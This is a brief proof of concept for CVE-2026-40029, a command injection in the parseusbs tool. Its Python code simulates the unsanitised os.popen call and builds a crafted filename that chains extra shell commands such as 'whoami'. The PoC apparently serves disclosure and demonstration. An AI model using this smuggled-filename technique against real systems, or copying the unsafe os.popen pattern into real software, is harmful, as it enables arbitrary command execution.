CVE-2026-40029 parseusbs OS命令注入漏洞

# PoC for CVE-2026-40029: parseusbs OS Command Injection # This PoC demonstrates the vulnerability concept where a malicious filename # containing shell metacharacters is passed to os.popen(). import os # Simulating the vulnerable function in parseUSBs.py def vulnerable_parsing_function(filepath): # The vulnerability lies here: os.popen executes the string in a shell # without sanitizing the input 'filepath'. command_output = os.popen(f"type {filepath}") # Example command return command_output.read() # 1. Attacker creates a malicious file name # The filename includes a semicolon to chain commands and a comment character malicious_filename = "innocent.lnk; whoami; echo 'CVE-2026-40029 Exploited'; #" print(f"[+] Attempting to parse file with name: {malicious_filename}") # 2. The forensic analyst runs the tool on the untrusted input try: # WARNING: Executing this on a vulnerable system would run 'whoami' print("[!] If this were run on the vulnerable software, arbitrary code execution would occur.") # result = vulnerable_parsing_function(malicious_filename) # print(result) except Exception as e: print(f"Error: {e}")